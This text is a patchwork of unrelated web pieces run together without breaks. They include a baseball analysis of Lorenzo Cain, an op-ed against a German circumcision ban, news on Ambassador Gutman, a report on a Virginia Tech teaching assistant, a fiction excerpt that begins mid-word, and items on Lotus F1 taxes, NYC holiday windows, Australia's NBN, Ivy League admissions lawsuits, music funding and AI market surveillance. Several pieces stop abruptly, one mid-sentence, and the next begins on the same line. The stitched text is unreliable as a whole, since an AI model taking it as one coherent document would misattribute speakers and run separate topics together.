Cain’s best offensive season prior to 2015 was 11% above league average. This year, he’s been 40% better. That’s the kind of jump that is hard for a dispassionate observer to ever totally believe. The interesting thing is that Cain’s BABIP has fallen from 2014 to 2015 from.380 to.364, and while BABIP isn’t the only kind of regression, it’s usually the one associated with massive swings in performance. Rather than riding some batted-ball luck to his 29% offensive increase, Cain has improved his contact rate and power simultaneously.
The difference between “Lorenzo Cain: Quality Major Leaguer” and “Lorenzo Cain: Guy on MVP Ballots” comes down to how much you believe in the offensive gains. The results are the results and you can’t argue that he has been better, but the two components most worthy of exploration are his out of zone contact rate and his isolated power.
In 2014, using the PITCHf/x strike zone, Cain’s contact rate on pitches outside the zone was 54.6%. It hadn’t been above 60% since his partial season with the Brewers many years ago. In 2015, it’s 70.4%. That’s a massive jump, accounting for roughly 36 balls in play that would otherwise have been swinging strikes in 2014. That could be a dozen extra hits already, depending on how you want to apply BABIP to out-of-zone pitches. The specifics aren’t terribly important, but the overall direction is. Instead of swinging and missing at pitches out of the zone, Cain is hitting them into the field of play.
Now, an astute observer might recognize that making contact with a pitch outside the zone might be worse than swinging through it if it is leading to weak contact that’s ending the plate appearance. That’s true in theory, but it doesn’t seem to be the case in practice for Cain, considering the ISO jump from.110 to.175 and the 10-point jump in hard-hit batted balls. His walk rate has come back to his career norm, so while that’s helped, it’s really about fewer strikeouts and more power.
In thinking about power, there are really two ways to get better. You can either hit the ball more squarely on average, or you can hit the average ball with more force. Cain seems like an easy study because you generally don’t see a lot of players getting physically stronger between 28 and 29. We’re usually thinking about players in their early twenties when talking about guys who start hitting the ball harder. It seems like Cain is among those players making better contact rather than harder contact. There’s obviously no way to be sure, but it’s a defensible hypothesis in context. Cain is striking out less and he’s hitting for extra bases more often. It seems like he’s barreling up the ball more effectively.
Specifically, Cain has closed a hole in his swing. That’s really what this comes down to. Cain probably isn’t a true talent 140 wRC+ hitter, but there is a very real reason to believe he is a better hitter than the one we saw a year ago. Observe two simple heatmaps, plotting Cain’s contact rate in 2014 and 2015:
There are lots of little improvements to notice everywhere, but the bottom third of the strike zone is the focus. Pitchers used to be able to get ahead of Cain and then put him away with a pitch down in the zone. Comparing minute swing differences is often a hunt for confirmation bias, but the difference could be a mechanical tweak that allows Cain to get the bat to the ball more effectively or it could be the product of a better prepared hitter. Cain had a very exploitable weakness and now he doesn’t. Instead of swinging through so many pitches, he’s hitting them and hitting them hard. Is that surely predictive of future success? It’s hard to say.
For the first half of the year, it’s worked very well. It might be a fluke and pitchers might find a counter to Cain’s new move, but Cain with a 17% strikeout rate and an above-average ISO is a very dangerous player, even as his BABIP settles into a more reasonable place in the months ahead.
Cain has two more arbitration seasons before he hits free agency, when he’ll be entering his age-32 season. He didn’t play baseball until he was an upperclassman in high school and it took him until he was 28 to have his first big year in the majors, so he’s a little behind his peers in terms of cashing in on his success. The age element likely means that Cain’s decline will come just as he’s hitting his stride, but we probably also don’t know how aging curves affect players with Cain’s unique history.
It’s probably safe to say Cain is better than the Cain we knew from 2010 to 2014, but he’s also probably not going to be one of the best two-dozen hitters in the game going forward either. In studying his trajectory, a very interesting comparable player emerges, however. The age is all wrong and the handedness is backwards, but Lorenzo Cain and Jason Heyward have been very similar players lately (stats since the start of 2013).
Name PA AVG OBP SLG wRC+ BsR Off Def WAR Lorenzo Cain 1266 0.288 0.337 0.410 108 9.5 20 45.4 11.6 Jason Heyward 1425 0.266 0.345 0.405 112 5.5 25 30.8 10.7
It’s a fascinating comparison that is both depressing and encouraging for Heyward watchers. On one hand, Heyward has only been Lorenzo Cain when Heyward was supposed to be a great player. On the other hand, Lorenzo Cain blossomed into a great player in his late twenties, and Heyward still has those years ahead of him.
Cain’s glove is reason enough to tune into a Royals game, but this first-half power spike has really changed the conversation. It’s not unheard of for players to luck into three good months of power, but Cain seems like a good “this is real” candidate because you can tie it to making more contact low in the zone, and the fact that he’s still pretty far behind his peers when it comes to hours spent in a batter’s box, making an improvement like this more plausible.
At 29, he’s not a novice, but it does make some sense that a player might continue to develop later into his career if he didn’t play the game his entire life. Particularly if the growth is mental and he’s becoming more adept at pitch recognition, for instance.
It’s been a tremendous run for Cain and the Royals. Without Alex Gordon for an extended period, Cain’s ability to maintain his first-half surge will be critical to their success. You don’t normally bet on a player to sustain a 30% increase in their year over year offensive performance, but given the circumstance surrounding Cain, his odds seem better than average. He’ll never be Mike Trout or Andrew McCutchen, but the 2014 version of Cain with a little more power is still one of the better players in the game.A regional court in Cologne, Germany has effectively banned the circumcision of young boys, subject only to medical exception. Such a position has been proposed by various individuals and groups throughout the Western world, and can be refuted along several lines.
For instance, neither the right to security of the person nor to gender equality should operate in such a way as to proscribe male circumcision on the grounds that it is comparable to the justifiably prohibited custom of female genital mutilation (FGM).
FGM is sometimes termed female circumcision, but this is a misnomer as it implies a minor operation equivalent to male circumcision. According to Doriane Coleman, a Duke University law professor whose expertise is children and the law, "This analogy can and has been rejected as specious and disingenuous, as the traditional forms of FGM are as different from male circumcision in terms of procedure, physical ramifications, and motivation as ear piercing is to a penilectomy."
The World Health Organization is also clear that:
"FGM has no health benefits, and it harms girls and women in many ways. It involves removing and damaging healthy and normal female genital tissue, and interferes with the natural functions of girls' and women's bodies."
The immediate and long-term consequences of FGM are too numerous to catalog here, but include severe pain; shock; hemorrhage (which can be so severe as to cause death); tetanus or sepsis; infertility; and an increased risk of childbirth complications and newborn deaths. In a 1997 joint statement, the WHO, UNICEF and UNFPA declared "FGM to be universally unacceptable, as it is an infringement on the physical and psychosexual integrity of women and girls and is a form of violence against them."
What, then, does the WHO have to say about male circumcision?
That it "is one of the oldest and most common surgical procedures worldwide, and is undertaken for many reasons: religious, cultural, social and medical. There is conclusive evidence from observational data and three randomized controlled trials that circumcised men have a significantly lower risk of becoming infected with the human immunodeficiency virus (HIV)."
Dr. Kirsten Patrick acknowledges in her 2007 British Medical Journalarticle that while male circumcision carries a complication rate somewhere between 0.2 per cent and 3 per cent, the procedure carries little risk if capably performed. She also notes its health benefits and draws a comparison to standard childhood immunizations, "a procedure for which the infant cannot give consent and which carries the risk of adverse events ranging from fever to anaphylaxis and aseptic meningitis."
In the absence of strong and non-conflicting medical evidence that male circumcision regularly causes substantial harm to young boys, the arguments against the procedure are severely weakened. Since male circumcision and FGM are simply incomparable, gender equality should not demand the banning of the former just because the latter is illegal. And while the right to security of the person is certainly implicated by circumcision, the low risk of harm (and the fact that most complications are extremely minor) means that this right should be balanced against other compelling rights, such as religious freedom.
It is well known that the circumcision of baby boys is mandated by the Jewish religion. In fact, this ritual is so essential to Jewish peoplehood and covenantal identity that a former professor of mine specializing in minority rights once suggested that preventing Jews from circumcising their sons could amount to genocide. Such an argument elicits particular discomfort given that a German court has outlawed the procedure. Male circumcision within the first few years of boy's life is also strongly encouraged by the Islamic faith. Perhaps the only positive outcome of the German ruling is that Jews, Muslims, and even Christians have united to protest the profound infringement on their religious freedom. They were not alone: the UN's Special Rapporteur on religious freedom, Heiner Bielefeldt, and German foreign minister Guido Westerwelle also added their voices to the criticism.
According to the German court, the right to religious freedom "would not be unduly impaired" because the child could later decide for himself whether to have the circumcision. Aside from the court's interference with a religious precept that the ritual must take place long before adulthood, the judgment could ironically cause greater harm to one's bodily integrity because circumcision for adolescents and adults, as compared to infants, is more complicated and has a higher rate of adverse effects.
Here in Canada, a court could evaluate the right to security of the person as provided by section 7 of the Charter not only in the context of section 2(a) of the Charter, which guarantees freedom of religion, but also section 27, which provides that the "Charter shall be interpreted in a manner consistent with the preservation and enhancement of the multicultural heritage of Canadians."
Indeed, the German ruling makes for a compelling argument in favour of Canada's multiculturalism policies, which are essentially grounded in the notion that individual rights are not always enough to protect a minority group's traditions and values, and that the recognition of special group rights is therefore necessary.
In other words, failing to recognize the fundamental importance of male circumcision to both Jewish and Muslim religious traditions may be qualitatively different than undermining an individual parent's right to make choices on behalf of his/her child.
Of course, the protection of minority rights must have limits. Inherently harmful minority customs like FGM and honour killings can never be justified. But male circumcision does not belong in that category so long as both parents consent to the procedure and, most importantly, it is performed competently.
Multiculturalism policies, when instituted properly, can enhance a society's security by making minority groups feel welcome and accepted, rather than disenfranchised and disconnected from the state. Yes, lines must be drawn somewhere. But there are insufficient medical, legal, and moral grounds to draw that line at male circumcision.Republicans Rick Perry (L), Mitt Romney (2nd L) and Newt Gingrich (R) all seized on Gutman's remarks [GALLO/GETTY]
US President Barack Obama's administration has rejected Republican calls to fire the ambassador to Belgium after he suggested that Israeli actions against Palestinians, including settlement building and military strikes, were partly to blame for anti-Semitism in Europe.
Ambassador Howard Gutman, who is Jewish and the son of a Holocaust survivor, said in a speech that a new type of anti-Semitism had emerged in Europe that was not "classic bigotry" but instead linked to "continuing tensions" between Israel and the Palestinian territories and other Arab neighbours.
Mitt Romney and Newt Gingrich, frontrunners for the Republican presidential nomination, both called on Obama to dismiss Gutman and renewed charges that his administration was not supportive enough of Israel. But both the White House and State Department said on Monday that Gutman would remain.
The clash over US policy toward Israel comes as Obama and Republicans jockey for support from Jewish voters, who could be critical in the 2012 presidential election, with Republicans are aiming to cast Obama as unfairly harsh toward Israel.
"The ambassador's comments demonstrate the Obama administration's failure to understand the worldwide campaign to delegitimise Israel and its appalling penchant for undermining our close ally," Romney said.
Texas Governor Rick Perry, also a presidential candidate, criticised Gutman's remarks as well.
In its statement, the White House said Obama has a strong record of support for Israel and condemned "anti-Semitism in all its forms."
"We have full confidence in [Gutman]," State Department spokesman Mark Toner told reporters on Monday. He said that Gutman, a political appointee and longtime fundraiser for Obama's Democratic Party, was expressing his personal opinion.
White House spokesman Jay Carney separately defended the administration's record, saying it had opposed "one-sided" condemnation of Israel at the UN Human Rights Council and spoken out against incitement in the Arab world.
"This administration has consistently stood up against anti-Semitism and efforts to delegitimise Israel, and we will continue to do so," Carney said.
Obama asserted at a fundraiser last week that "this administration has done more in terms of the security of the state of Israel than any previous administration".
The White House cited military aid to Israel and support at the United Nations and pointed to statements from Israeli officials backing up Obama's assertion.
Israel 'thrown under the bus'
But Republicans still challenged that claim, with Romney saying that Obama had "repeatedly thrown Israel under the bus".
Although Jewish voters comprise only two per cent of the electorate nationwide, they are considered an important part of Obama's supprot base and could make the difference in battleground states including Florida, Pennsylvania, Ohio and Nevada in a close election.
Moreover, the Jewish community is an important source of donations, and Obama campaign supporters want to maintain that support as much as Republicans want to chip away at it.
Addressing a conference on anti-Semitism last week, Gutman said a new, more complex form of anti-Semitism was growing, in which Jews were targeted because of the failure to resolve Israel's conflict with the Palestinians.
"It is the area where every new settlement announced in Israel, every rocket shot over a border or suicide bomber on a bus, and every retaliatory military strike exacerbates the problem and provides a setback here in Europe for those fighting hatred and bigotry," he said.
"Were a lasting peace in the Middle East to be reached, were joint and co-operative Israeli-Arab attentions turned to focus instead on such serious, common threats such as Iran, this second type of ethnic tension and bigotry here in Europe, which is clearly growing today, would clearly abate," he said.
Gutman later issued a statement to stress that he condemns all forms of anti-Semitism, adding: "I deeply regret if my comments were taken the wrong way".A Virginia Tech teacher is working to clear his name, after making what some call "racist" and "threatening" statements online.
Mark Neuhoff, a graduate teaching assistant, was accused of posting a statement on Facebook saying, among other things, that he's a "white supremacist."
A Virginia Tech student said Neuhoff harassed her on social media, after she shared his post.
Virginia Tech leaders conducted two investigations and found no evidence that Neuhoff violated University policy.
When Virginia Tech senior Tori Coan found a Facebook post from what she believed to be a teacher at her school, professing to be a"white supremacist," she felt compelled to alert her fellow students.
"White supremacy is an inherently violent ideology," she said. "It believes that folks are sub-human and inferior."
Coan said the posts were made by Graduate Teaching Assistant, Mark Neuhoff.
Neuhoff was asked, point blank, if he considered himself a white supremacist.
"No of course not," he answered.
Neuhoff said his comments were taken out of context.
"White supremacy, according to John Derbyshire, means a society where the key decisions in society are made by white European people, and that's what it's always been like in America," Neuhoff explained.
Since the posts were made public, Neuhoff said some at Virginia Tech have wrongly accused him of being racist.
"Racism is evil," he said. "I'm married to an Asian woman. We're going to have mix-raced children. It's ridiculous."
Coan said someone posted her cell phone number on Neuhoff's Facebook page and encouraged people to harm her.
She explained, "My number had been posted to an online sex chat website and I started receiving texts soliciting me for sex."
Neuhoff said about the post on his Facebook page, "I didn't make the post. I don't know who Tori is, I have nothing against her."
He said he knows who posted Coan's cell phone number, but couldn't identify the person.
Coan said Neuhoff has lost his objectivity and shouldn't be allowed to teach at Virginia Tech.
"You can't teach people effectively who you believe to be sub-human," she said.
Neuhoff said in response, "If I was treating these students unfairly, there'd be complaints, I wouldn't be a |
anie hugged her and left, and Harriet sat on the bench until it got dark and then walked back to her apartment.
When Harriet got home, Dawes was reading her copy of Ruby Faerie Prince. "I'm going to need that soonish," she said, having made up her mind to at least try putting her med student and single mom in a Realm-related plot.
"What for?" he asked. "Hey, can you ask your sister why the Prince didn't bother warning Penelope about the brackish demons when he brought her to -"
"Because there's about five thousand things that could kill you in the Realm, and she barely listened to him when he told her the most probable hazards, so he figured it'd be better overall to leave her for five minutes while he got her an amulet," said Harriet tiredly. She'd thought Dawes had known about her sister, and just didn't feel inclined to relay a lot of questions about the Realm and Spiderworld and the Mercury-goddamn-Maze even though he liked Melanie Nelson books. His lack of grilling had been half the reason she'd made friends with him in freshman year. "I'm going to need it because Lanie says I can do shared world Realm stuff."
"Really? That is awesome," said Dawes. "Hey, if your sister wrote these why didn't she sign them for you?"
Harriet stuck her head in the fridge so he wouldn't see her roll her eyes, and emerged with juice. "She's my sister. Her signature's not really special to me and it's not like I'm going to sell my books. You could buy your own copies and she'd sign them."
"I might do that, at least the faerie books you'll be using. Are you going to put the novel online or sit on it for a while hoping for a miracle?"
"I don't know yet," she said.
"Second thing, then," Dawes said.
Harriet sighed, but didn't have a retort ready. She drank her juice, and added try outlining realm story to her to-do list between attend yoga and lunch meeting with Spanish club.
Before she retreated into her room to turn in for the night, Dawes returned her copy of Prince, and she put it back on the shelf next to Ruby Faerie Regent and Ruby Faerie Usurper. (Usurper wasn't actually out yet - Harriet's was the ARC.) Next to the red-spined faerie series were Spiderworld and Spiderworld's Net and Into the Mercury Maze. Lanie was almost a decade older than Harriet and had started writing at the same age as her sister, finished a novel at the same age as her sister...
Only, Lanie'd had the fortune to choose a marketable genre. To be good at a marketable genre.
Harriet looked at the shelf of Melanie Nelson books for a long moment, and then switched off the lights and got into bed before her eyes adjusted.
Harriet had her creative writing seminar first thing the next morning, and brought her manuscript, though no one in the class had been interested before it was finished and she didn't think it likely that they'd want to read it just because it was done. It was currently titled "Seeing-Eye Dog". She expected she'd cycle through three more titles by the end of the day.
The seminar met once a week, and was worth a credit hour with regular attendance, but it was small and informal compared to most of Harriet's classes, and they usually met outdoors when the weather permitted. She found Professor Ngo sitting on the same bench where she'd met Lanie the prior evening, talking to two students who'd arrived earlier. Harriet sat on the grass next to one of them, who was talking about his space opera novelette. The other student interrupted with a comparison to her time travel short. Harriet resisted the urge to glower.
The six other students in the seminar trickled in, and Professor Ngo passed out handouts, which were about realistic dialogue. For someone who held earthfic in as much contempt as did the general population, Harriet thought, Ngo talked about realism a lot...
Every week, there were twenty minutes left after Professor Ngo's planned lesson. These were taken up by discussion about the students' own projects. Harriet had spoken up about her novel... once. Her classmates had laughed at her and Professor Ngo - sounding like she was trying to be kind - informed Harriet that she was in college now.
Harriet fidgeted in her seat, listening to progress reports on an alternate history and a steampunk romance and an urban fantasy and a post-apocalypse dystopia.
"Harriet?" asked Professor Ngo tentatively, when everyone else was done. She always asked.
"I'm going to start a new project today," said Harriet, resisting the temptation to shriek I finished a novel, none of the others ever finished a novel, damn it -
"What is it?" prompted the professor, tentatively, obviously hoping that it wasn't more earthfic.
Harriet twisted her hands in her lap. She didn't want Ngo to smile at her, didn't want to be taken seriously only because her new project wasn't earthfic.
Except that she also did. She wanted to look her teacher in the eye and name her next work and have everybody in the class know that she was probably going to be published (because your sister has connections, said Harriet's brain mutinously, but still).
The professor looked at her expectantly.
"I'm starting a new story today," Harriet said, and her voice only trembled a little bit. "It's shared-world of the Ruby Faerie Realm."
"Oh, how lovely," said Professor Ngo, beaming. "What do you have planned for it?"
And Harriet told her about the characters she was importing from the old story, and that she still had to figure out where the faeries came in, but was going to outline it right after yoga, and she avoided looking any of her classmates in the eye.
The class dispersed; Harriet heard footsteps behind her like Professor Ngo wanted to catch up to her and put a hand on her shoulder and congratulate her, but she sped up and didn't feel such a hand fall.
Yoga passed, and Harriet sat in the cafeteria, waiting for Spanish club, staring at her notebook.
She didn't think Ruby Faerie Realm stories were inferior to earthfiction. She liked her sister's work.
She didn't think they were worse. But it felt like she should, just to counterbalance everyone else.
She regretted telling the seminar about her new project. They'd looked at her like the correct response was aw, she's maturing as a writer, look, not she's trying a new area, no better or worse, just new.
It didn't help that she was mostly doing the Realm story because she thought it would get her published, rather than for the creative stretching implied by either thought.
Harriet tapped her pencil on the notebook and sighed and started sketching a loose outline of a plot that suited her characters and incorporated enough faeries that they wouldn't feel extraneous.
That afternoon, she typed up the outline and sent it to Lanie. Not expecting you to hold my hand through the actual writing, I just want a once-over on the plot skeleton, she added. Like if I missed some problem that the faeries would just fix by gemcasting something.
Lanie answered her after dinner: Looks awesome, have fun with it :). Harriet stared at her computer screen. Dawes was playing loud symphonic metal in his room. The manuscript of Harriet's novel - she'd settled on titling it "Actuation" and hadn't changed it since Spanish club - was leaning over, trying to slide out of its binder clips, in her bag.
Harriet opened the file on her laptop, updated the title, and uploaded it to earthfiction.net. She considered putting a little note in her author profile while she was there: "Keep an eye out for my next project - it's Ruby Faerie Realm shared-world! I'm authorized and you can expect it on shelves if everything goes according to plan!" She opened the editing box and the cursor blinked expectantly at her.
Then she closed it, and pounded out three thousand words of a first draft of chapter one of her Realm book, and went to bed.
In the morning, "Actuation" had two new reviews attached to early chapters. One was standard illiteracy - "u kep up the good wrk plz sequel? read my fic TEh Pet Store also r&r". The other was flaming her about some minor factual error regarding the geography of Montana, which she fixed without replying to the reviewer.
Harriet wrote another thousand words in her draft, then wrote to Lanie: What kind of feedback do you usually get on your books?
Lanie didn't get a chance to answer until midafternoon, by which time Harriet had sat through her Hispanophone Literature course and her art elective in ceramics. Lanie's reply read, My agent filters out the unreadable stuff (though he passes on the really hilarious ones) so I mostly just see nice things. Somebody named their baby Penelope after the character, people want stuff autographed - my agent has to filter a lot of that too b/c we can't provide our own postage for everything, they have to do it - somebody once told me they set the Mercury Chant to music and sent me a CD, it was pretty. Why?
Harriet didn't answer right away; she had six more comments on "Actuation". They ran the gamut from more incoherent squealing to a notification that she'd been listed on someone's recommendation hub to a glowing review of the treatment of blindness: I'm sick of reading blind characters in mainstream stuff because there's always some doodad or spell that can cure them or they have a magic power that makes them practically speaking not blind, and that's not gonna happen to me anytime soon, it's great to see a regular blind character who's going to stay that way but gets along fine, thank you :D
She answered her sister. Just curious about how it compares to the stuff people are saying on ef.net is all.
Come over to dinner tonight, Lanie wrote back. Me and your brother-in-law would love to have you. Spaghetti squash <3
Harriet tapped her fingers on the keyboard, typed awesome, pick me up whenever, and went back to her Realm draft. If she gave the antagonist enough graphite dust - maybe he should have access to a pencil factory - he could choke off the faeries' flashier powers at will... that made it easier not to solve all the problems by magic. The humans could do things. They could have realistic problems. And some of the characters would have wings and complain about there being too much graphite dust for them to gemcast, that was all.
She started chapter two. It had faeries in it. But she could still do what she was good at. She could keep most of what she liked about earthfic. Harriet chewed on her lip, then went back and edited in a limp for the female protagonist's son, which he was going to keep through the entire book.
She had a lot of writing left in her.Renault's letter of intent to buy back Lotus is expected to help stave off the threat of administration in the case brought against the team by HMRC, which will be heard in the High Court on Monday.
The case stems from a tax claim by HM Revenue and Customs. Lawyers for the team had persuaded Mr Justice Birss to adjourn the previous two hearings, but he said the latest would be the last.
Yet the anticipation is that the letter signed by Renault, which the French manufacturer says is the "first step towards the project of a Renault Formula 1 team from the 2016 racing season" will lead to the matter being dropped.
Lawyers for HMRC say that Lotus owe over £900,000 in back taxes and national insurance contributions for September, and similar figures for July and August.
They add that the team have shown no willingness to pay and were "taking advantage of the involuntary credit to HMRC".
Speaking to Sky Sports F1 after the Japanese GP, Lotus CEO Matthew Carter said he was "very confident it's going to be sorted out".
He added: "We're confident the court case tomorrow is going to be dealt with and hopefully we should have some news during the course of the next few weeks on the future of the team.
"Things have moved on in the last week certainly."
Lotus drivers Romain Grosjean and Pastor Maldonado finished seven and eighth at Suzuka - a much-needed result for the cash-strapped team.
They were locked out of their hospitality suite all weekend after failing to pay a bill from the year before, with team members relying on Bernie Ecclestone's Paddock Club for food.
The Lotus team wait outside their closed garage in the Suzuka paddock
During the last court hearing - held during the Singapore GP weekend - Lotus's lawyers said that matters had progressed "substantially" and that a payment from PDVSA, Maldonado's sponsor, is due on on November 1.
The money wasn't guaranteed at the time but the team subsequently announced that the Venezuelan - who brings backing reportedly worth £30m - will be staying on in 2016.
A sticking point for Renault has also been the additional 'historic constructor' payments they want from Ecclestone, F1's CEO.
Renault are said to want a 65 per cent stake in the team, worth $100m and to be paid over a period of 10 years. On top of that, it would also come up with an operating budget.
Ted Kravitz brings you all the latest news following the Japanese Grand Prix. Ted Kravitz brings you all the latest news following the Japanese Grand Prix.
Don't miss the F1 Midweek Report on Wednesday night at 8.30pm when Ted Kravitz and David Brabham join Natalie Pinkham to discuss the Japanese GPShoppers and onlookers alike flock from far and wide to bask in the spectacle of holiday displays and consumerism in New York City. The grand exhibitions that are holiday windows got their start with H.R. Macy's first animated display in 1883, reports Collectors Weekly; a mechanical sleigh glided (in the way mechanical things glided in the late 1800's) over a circular track with Santa in tow. It was, at the time, a Christmas miracle, attracting onlookers from across the city. In the years following, the displays became tradition not only at Macy's but throughout New York department stores and their America-wide brethren. But with their roots in New York, we'd argue holiday windows here are still the most enchanting. Look on for historic photos of window displays, department stores, and holiday glee.
· Christmas Shopping in New York 100 Years Ago [ENY]
· Losing Ourselves in Holiday Windows [Collectors Weekly]
· Holiday Windows [Victoriana Magazine]
· Museum of the City of New York [official]
· Library of Congress [official]LETTER OF THE DAY: I am one of the many "older people" in this community who did not realise one did not have a choice with the connection of the NBN if you want a landline.
I listened to an interview with Derrick Tuffield on ABC radio last Thursday as he explained that many older citizens did not know that they had to do something when that letter comes.
I rang my provider and it was explained that I do have to say yes to that connect if I want a landline.
I am quite sure that there are many people in this community who, like me, thought we had a choice…We could stay as we are because we do not need faster Internet access at all.
If one has a medical alert then it is essential to make contact with your provider because all of those things will change when it comes time to change to the new NBN as your area comes online.
WHAT'S ONLINE
It seems that after talking to a couple of friends who now have it connected that it is not a simple arrangement at all.
A new home situation is better off than older ones because they simply cut the phone wire and reconnect the new one.
But what most would not know is that they have to have a power point on the inside near where it is connected.
That would mean an expense one is not counting on.
In an older area like I live in it seems that they will try and do it through the old lines but that it may not happen and that would mean cutting up the yard.
I have been told by my provider that we should be connected about September.
I have made it my business to talk to people of all ages and very few know anything about this matter at all.
Most think that they will have a choice to do it when they want and have no idea that their landline gets cut off at a certain date when the NBN is connected to their area and then they will have to survive on a mobile phone service.
Another matter we did not know was that when there is a power outage one will not have a landline as we do now because it depends on a power source.
This has been a terrible thing pushed onto an unsuspecting society.In an interview with The Korea Times, Virginia-based director of the Project on Fair Representation Edward Blum, who filed lawsuits against Harvard and UNC says, “The number of Asians admitted [to the Ivy Leagues] 20 years ago is actually higher than the number admitted over the last year or two, even though the number of Asian applicants have doubled.”
By Brian Han
Asian applicants who apply to some of the most prestigious U.S. universities such as Harvard, Yale and Stanford may already be at a statistical disadvantage based purely on ethnicity.
This isn’t necessarily breaking news, but Edward Blum, head of the legal agency that is spearheading the effort, is attempting to uncover the phenomenon in a legally viable manner. The end goal is to ultimately shift college admissions processes away from race-based affirmative action and towards race-neutral alternatives.
“Koreans, Chinese, Indians and other nationalities from the Asian continent are lumped together in a category that is simply called ‘Asian,’” Blum said. “The Ivy Leagues have systematically limited the number of that group that they will admit. The number of Asians that were admitted 20 years ago is actually higher than the number admitted over the last year or two, even though the number of Asian applicants have doubled.”
If those figures are accurate, those numbers highlight a disturbing trend that has reached a tipping point for legal action.
With lawsuits already filed against both Harvard University and the University of North Carolina-Chapel Hill, momentum has already grown in just the past few days.
“The response has been quite vigorous,” Blum said. “We are approaching a membership of nearly 200 people. Over the next year, I could easily see our membership exceeding 300 to 400 people.”
The most surprising part about this wave of support is that the students who decide to involve themselves with this lawsuit are doing so for mostly selfless motives.
If the lawsuit is won, it won’t change or reverse any admissions decisions, but it can restructure a potentially flawed system.
“To those who were denied admission, that is most we can offer at the moment,” Blum said. “We might be able to file additional lawsuits depending on what information is uncovered. Those students can be gratified in knowing that the schools that wrongfully denied them are being targeted and that future generations including younger sisters, brothers or cousins – won’t have their chances of admission affected by these pernicious quotas.”
The University of California, Berkeley, another top-tier school, represents a stark contrast to places like Harvard — a comparison that emphasizes the possibility of racial discrimination.
“If you look at places like [UC] Berkeley, as the Asian applicants have grown, so have the acceptances for the same demographic,” explains Blum. “Harvard, Yale and many other Ivy Leagues have flatlined the number of Asians they will admit. It strongly suggests that they have a quota and a racial balancing policy. That is expressly unconstitutional.”
Robert Iuliano, Harvard University’s general counsel, made a public statement defending the school’s current practices.
“The university’s admissions processes remain fully compliant with all legal requirements and are essential to the pedagogical objectives that underlie Harvard’s educational mission,” Iuliano said.
Although Asian students who are currently in the process of applying to colleges may still have to be subjected to disadvantageous racial quotas during the application process, they can still contribute their efforts towards the case in a different way.
“If current applicants do decide to participate in our efforts, it’s very important that they tell us who they are, tell us their plans as to which school they will apply to, and stay in touch with us,” he said. “Tell us which school accepted you and rejected you. It’s a very important element in this lawsuit.”
For more information, visit Students For Fair Admissions.Earlier today (3 May 2013) at Liverpool Sound City, I chaired a discussion panel on funding options for musicians and songwriters entitled Money And How To Get It. It featured Joe Frankland from Generator, Laura Whitticase from the PRS For Music Foundation and our very own Chris Bye wearing his hat as an employee of Arts Council England. At the end of the discussion we promised delgates that we would post links to the panel’s most recommended options for funding applications.
Joe and Chris have jointly sent a first instalment: “Here’s a list of funding sources with the caveat that artists should research first…not every fund is suitable or every artist. If you can’t find any links we can send them when not on phones. We’ve not included various business grants but could if you need.
* Arts Council England:
the majority of bands/songwriters will want Grants for the Arts
* PRS for Music Foundation which breaks down into:
Core Funding – this incorporates Funding for Organisations & Groups and Funding for Individuals
Music Industry Talent Development Fund – a new programme to give grants of between £5k and £15k to bands and solo artists to develop their careers
British Music Abroad – the UK’s music export funding programme supporting artists for international showcasing
Women Make Music – supporting women music creator, composers and performers to make their mark
Jazz Promoters Awards – grants of between £500 – £2000 are available to support new and established small-scale jazz promoters from across the UK
* Musicians Benevolent Fund
*Youth Music
* Ideas Tap
* Sky Arts Futures Fund
* BBC Performing Arts Fund
* Paul Hamlyn Foundation
* Red Bull Music Academy
* Fundersonline.org
And specifically for East Anglia:
* escalatormusic.co.uk
We hope to add a few further suggestions from Laura – and possibly also from Joe and Chris – in due course.Artificial intelligence programs have beaten chess masters and TV quiz show champions. Next up: stock market cheats.
Two exchange operators have announced plans to launch artificial intelligence tools for market surveillance in the coming months and officials at a Wall Street regulator tell Reuters they are not far behind. Executives are hoping computers with humanoid wit can help mere mortals catch misbehavior more quickly.
The software could, for instance, scrub chat-room messages to detect dubious bragging or back-slapping around the time of a big trade. It could also more quickly unravel complex issues, like “layering,” where orders are rapidly sent to exchanges and then canceled to artificially move a stock price.
A.I. may even sniff out new types of chicanery, said Tom Gira, executive vice president for market regulation at the Financial Industry Regulatory Authority (FINRA). “The biggest concern we have is that there is some manipulative scheme that we are not even aware of,” he told Reuters. “It seems like these tools have the potential to give us a better window into the market for those types of scenarios.”
FINRA plans to test artificial intelligence software being developed in-house for surveillance next year, while Nasdaq and the London Stock Exchange Group (LSE) expect to use it by year-end.
The exchange operators also plan to sell the technology to banks and fund managers, so that they can monitor their traders.
Artificial intelligence is the notion that computers can imitate nuanced human behavior, like understanding language, solving puzzles or even diagnosing diseases. It has been in development since the 1950s and is now used in some mainstream ways, like Siri, an application on Apple’s iPhone that can engage in conversation and perform tasks.
While financial firms are already applying artificial intelligence software for everything from compliance to stock-picking, it is only starting to become useful for market oversight.
“We haven’t really let the machines loose, as it were, on the surveillance side,” said Bill Nosal, a Nasdaq business development executive who is overseeing its artificial intelligence effort.
50 Billion Events
Market surveillance generally relies on algorithms to detect patterns in trading data that may signal manipulation and prompt staff to investigate. But the sheer volume of data can lead to an overwhelming number of alerts, many of which are false alarms.
FINRA monitors roughly 50 billion market “events” a day, including stock orders, modifications, cancellations and trades. It looks for around 270 patterns to uncover potential rule violations. It would not say how many events are flagged, or how many of those yield evidence of misbehavior.
The machine learning software FINRA is developing will be able to look beyond those set patterns and understand which situations truly warrant red flags, Gira said.
Machine learning is a subset of artificial intelligence in which computers figure out new tasks without having been programmed to do so. In the case of market surveillance, that would mean the computers “learn” which trading patterns lead to enforcement charges, in order to flag the right ones.
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FINRA plans to test the new tool next year alongside its existing systems to compare the results.
The regulator has already moved its surveillance systems to Amazon.com web-based cloud, giving it more computing power to quickly analyze massive data.
Nasdaq is working with cognitive computing firm Digital Reasoning, which it invested in earlier this year.
LSE has teamed up with IBM’s Watson business and cybersecurity firm SparkCognition to develop its AI-enhanced surveillance, Chris Corrado, chief operating officer of LSE Group, told Reuters in an interview. Watson has become something of a household name, having bested contestants in the game show “Jeopardy” in 2011.
Trader Integrity
The technology would not necessarily prevent events such as the 2010 “flash crash,” when the Dow Jones Industrial Average temporarily plunged more than 1,000 points. However, it could be quicker to catch manipulative behavior thought to contribute to them, potentially saving market watchdogs time and money.
FINRA, Nasdaq and LSE would not provide specific figures for how much the software costs to develop or how much money they expect it to save.
For instance, investigators spent years cross-referencing trading data with old electronic communications to make their case against a group of global banks whose traders were rigging foreign exchange benchmarks. Nasdaq said the software it is testing with Digital Reasoning and other financial firms could do that task almost in real time.
3 things that spook people about the stock market.
